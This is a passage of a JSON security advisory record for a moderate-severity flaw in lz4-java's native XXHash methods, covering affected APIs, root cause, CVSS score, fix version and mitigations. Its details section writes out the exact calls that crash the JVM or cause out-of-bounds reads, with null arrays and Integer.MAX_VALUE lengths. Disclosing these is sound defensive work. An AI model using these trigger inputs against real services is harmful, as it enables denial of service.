            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:13:41Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nInsufficient validation of byte array arguments in JNI-based XXHash implementations in lz4-java 1.11.0 and earlier allows callers to crash the JVM by passing an invalid array reference or invalid range to native XXHash methods.\n\nThis affects applications where an attacker can influence the byte array object or the `off` / `len` arguments passed to affected XXHash APIs. It does **not** affect the common case where only the contents of a valid byte array are attacker-controlled.\n\nJava-based XXHash implementations are *not* affected.\n\n### Details\n\nThe JNI-backed XXHash implementations pass caller-provided byte array arguments to native code. The affected APIs are:\n\n- `XXHashFactory.nativeInstance().hash32().hash(byte[] buf, int off, int len, int seed)`\n- `XXHashFactory.nativeInstance().hash64().hash(byte[] buf, int off, int len, long seed)`\n- `XXHashFactory.nativeInstance().newStreamingHash32(seed).update(byte[] bytes, int off, int len)`\n- `XXHashFactory.nativeInstance().newStreamingHash64(seed).update(byte[] bytes, int off, int len)`\n\nBefore the fix, the streaming JNI implementations did not validate `bytes`, `off`, or `len` before calling `XXHashJNI.XXH32_update` / `XXHashJNI.XXH64_update`. The non-streaming JNI implementations called `SafeUtils.checkRange`, but `SafeUtils.checkRange(byte[], int, int)` skipped all array access when `len == 0`, so a null byte array with a zero length could still reach JNI.\n\nAs a result:\n\n- `hash(null, 0, 0, seed)` and `update(null, 0, 0)` could pass a null array reference to JNI, causing a fatal JVM crash in `GetPrimitiveArrayCritical`.\n- `update(new byte[16], 0, Integer.MAX_VALUE)` could cause native XXHash code to read far beyond the end of the Java array, causing a fatal JVM crash and potentially exposing in-process memory to the native routine before the crash.\n\nThe oversized-length non-streaming `hash(new byte[16], 0, Integer.MAX_VALUE, seed)` case was already rejected in Java before this fix. The missing validation affected the streaming oversized-length case and the zero-length null-array case for both streaming and non-streaming JNI XXHash APIs.\n\nThe impact of this vulnerability depends on how user code uses the XXHash API. Code that hashes attacker-controlled byte contents in a valid, correctly bounded array is not affected. Code may be affected if an attacker can cause the application to pass a null array, an attacker-controlled offset, or an attacker-controlled length to the native XXHash API. The primary impact is denial of service due to JVM termination. For oversized lengths, native code may also read outside the Java array before the process crashes.\n\n### Mitigation\n\nlz4-java 1.11.1 fixes this issue without requiring changes in user code.\n\nIf you cannot upgrade, avoid passing attacker-controlled array references, offsets, or lengths to JNI-backed XXHash APIs. In particular, validate that arrays are non-null and that `off` and `len` describe a range fully contained in the array before calling native XXHash methods.\n\nUsing `XXHashFactory.safeInstance()` avoids the JNI boundary and is not affected by this native crash behavior.",
  "id": "GHSA-xx22-p4ch-683r",
  "modified": "2026-07-24T16:13:41Z",
  "published": "2026-07-24T16:13:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yawkat/lz4-java/security/advisories/GHSA-xx22-p4ch-683r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yawkat/lz4-java/commit/dbd86d04b8dd716e1c2bc626be54189997d910da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yawkat/lz4-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yawkat/lz4-java/releases/tag/v1.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LZ4 Java: Native XXHash implementations can crash the JVM when passed invalid byte array ranges"
}